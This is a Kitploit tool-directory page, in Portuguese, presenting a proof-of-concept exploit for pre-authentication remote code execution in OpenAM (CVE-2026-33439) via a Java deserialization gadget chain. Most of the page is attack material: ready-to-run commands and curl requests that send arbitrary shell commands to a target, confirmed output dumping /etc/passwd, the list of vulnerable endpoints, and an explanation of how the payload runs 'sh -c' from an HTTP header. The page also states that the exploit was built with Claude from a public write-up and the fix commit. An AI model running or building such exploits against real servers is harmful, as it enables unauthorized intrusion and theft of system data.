Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33439-PoC — Exploit para RCE pré-autenticação no OpenAM (CVE-2026-33439) usando uma cadeia de gadgets de desserialização Java para executar comandos e retornar a saída diretamente na resposta HTTP. | Kitploit
Ferramentas/GitHubGitHub/ibonok/cve-2026-33439-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubibonok/cve-2026-33439-poc

CVE-2026-33439-PoC

Exploit para RCE pré-autenticação no OpenAM (CVE-2026-33439) usando uma cadeia de gadgets de desserialização Java para executar comandos e retornar a saída diretamente na resposta HTTP.

Ver Repositório
11há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33439 — RCE Pré-Autenticação no OpenAM (Modo Echo)

Saída de comandos diretamente na resposta HTTP — sem necessidade de exfiltração por DNS ou OOB.

Utiliza com.iplanet.jato.RequestManager.getRequestContext() para acessar a requisição/resposta ThreadLocal JATO ativa durante a desserialização. Funciona em Java 21+, onde as técnicas clássicas de echo do Tomcat (Thread.target / travessia de ThreadGroup.threads) falham.

Pré-requisitos

  • JDK 11+ (necessita de javac para compilação do translet em tempo de execução)
  • OpenAM alvo com click-nodeps-2.3.0.jar e xalan-2.7.x.jar no classpath

Endpoints Vulneráveis Confirmados

EndpointSaída do Echo
/sso/ui/PWResetUserValidationHTTP 200, saída do comando no corpo
/sso/ui/PWResetQuestionHTTP 200, saída do comando no corpo
/sso/ui/PWResetSuccessHTTP 200, saída do comando no corpo

Também testado, mas sem saída de echo (a desserialização ainda é acionada):

  • /sso/ui/PWResetInvalidURL — página de erro retornada
  • /sso/ui/PWResetUncaughtException — página de erro retornada

Compilação

root@kitploit:~
./build.sh

Uso

O JAR adiciona automaticamente as flags JVM --add-opens — não é necessário especificá-las manualmente.

root@kitploit:~
# Tudo-em-um: gerar payload + enviar + exibir saída (proxy via Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'

# Sem proxy Burp
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy

# Gerar payload reutilizável (o comando vem do cabeçalho 'cmd' no momento da requisição)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"

Resultados Confirmados (2026-04-21)

root@kitploit:~
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)

$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash

Como Funciona

  1. Gera um payload de desserialização PriorityQueue (cadeia de gadgets Click1 + Xalan TemplatesImpl)
  2. O bytecode do translet chama RequestManager.getRequestContext() para obter a requisição/resposta JATO ativa
  3. Lê o cabeçalho HTTP cmd, executa sh -c <cmd>, escreve stdout+stderr em response.getOutputStream()
  4. O payload é codificado como Base64 no formato OpenAM (prefixo \x00 + Base64 URL-safe, sem padding)
  5. Enviado para /sso/ui/PWResetUserValidation?jato.clientSession=<payload> (sem autenticação)

Estrutura de Diretórios

root@kitploit:~
CVE-2026-33439-PoC-echo/
  CVE-2026-33439-Echo.jar    # JAR do exploit
  build.sh                   # Script de compilação
  MANIFEST.MF                # Manifesto do JAR
  README.md                  # Este arquivo
  lib/                       # Dependências (devem permanecer ao lado do JAR)
    click-nodeps-2.3.0.jar
    xalan-2.7.1.jar
    serializer-2.7.3.jar
    javax.servlet-api-4.0.1.jar
  src/
    CVE_2026_33439_Echo.java # Código-fonte

Correção

Corrigido no commit 014007c63cacc834cc795a89fac0e611aebc4a32 do OpenAM — adiciona filtro de classes ao ObjectInputStream em SessionEncodeURL.readSessionID().

Diversos:

O PoC foi criado usando Claude; o prompt foi o write-up (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) e o commit do Git (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)

Baixar ferramenta